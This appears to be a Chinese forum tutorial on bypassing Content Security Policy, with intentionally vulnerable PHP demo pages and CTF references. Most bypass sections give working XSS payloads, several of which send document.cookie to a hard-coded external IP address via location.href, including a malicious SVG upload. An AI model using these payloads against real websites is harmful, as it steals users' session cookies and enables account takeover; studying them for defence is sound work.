csp绕过姿势

0x01 何为CSP

CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

0x02 CSP语法

CSP中常见的header字段为Content-Security-Policy。

一个CSP头由多组CSP策略组成,中间由分号分隔,如下:

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。

策略指令

default-src

default-src作为所有其他指令的备用,一般来说default-src 'none'; script-src 'self'这样的情况就会是script-src遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src指令所设置的属性。

script-src

script-src指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫'unsafe-inline',如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。

对于这个属性有个特殊的配置叫unsafe-eval,它会允许下面几个函数:

eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.

关键字

'none'
代表空集;即不匹配任何 URL。两侧单引号是必须的。
'self'
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
'unsafe-inline'
允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
'unsafe-eval'
允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。

数据

data:
允许data: URI作为内容来源。

mediastream:
允许mediastream: URI作为内容来源。

Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

0x03 CSP绕过


这里几种绕过思路能打到cookie的都会给打到cookie的payload,没有打cookie的可能是我没有想到,希望师傅们批评指点!


demo:

<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
</body>

location绕过

大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src 'unsafe-inline';这条规则。
这个地方可以用location跳转:location.href(window.location/window.open)绕过

127.0.0.1/csp/?cl4y=<script>location.href='http://118.25.14.40:8200/cookie/'%2bescape(document.cookie);</script>

利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外
  2. csp为script-src 'unsafe-inline';

iframe绕过

如果有以下两个页面:

<!--safe.php-->
<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
</body>

<!--index.php-->
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
</body>

safe.php做了csp防护,而index.php没有:

这里可以在index页面新建iframe用javascript直接操作safe页面的dom:

<!--xss代码,要注意url编码-->
<script>
var iframe = document.createElement('iframe');
iframe.src="./safe.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://118.25.14.40:8200/cookie/'+escape(document.cookie),1000);
</script>

利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章 Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

大概讲一下:因为原来waf对注释完全可信,所以构造一个<!-- foo="bar--> <script>alert(1)</script>" -->,所以只要闭合注释内容,就可以让后面的完全可控,再加上Client-Side Template Injection中的手法,绕过csp。

这个是存在低版本angular js的cdn服务商列表
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用文章
如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库

利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了google-analytics
analytics中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过

利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中

Base-uri绕过

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径:
default-src 'self'; script-src 'nonce-test'

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self'; script-src 'nonce-secret'");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
<script nonce='secret'>
    //do some thing
</script>
</body>

如果我们输入127.0.0.1/csp/safe.php?cl4y=<script src=data:text/plain,location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce='secret'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

SVG绕过

SVG 是使用 XML 来描述二维图形和绘图程序的语言,且SVG标准中也定义了script标签的存在,所以如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);</script>
</svg>

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>
</body>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出:

meta网页跳转绕过

这个情况的话,可以利用meta标签实现网页跳转:

127.0.0.1/csp/?cl4y=<meta http-equiv="refresh" content="1;url=http://118.25.14.40:8200/" >

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle

参考evoA:https://evoa.me/index.php/archives/53/

点击收藏 | 6 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖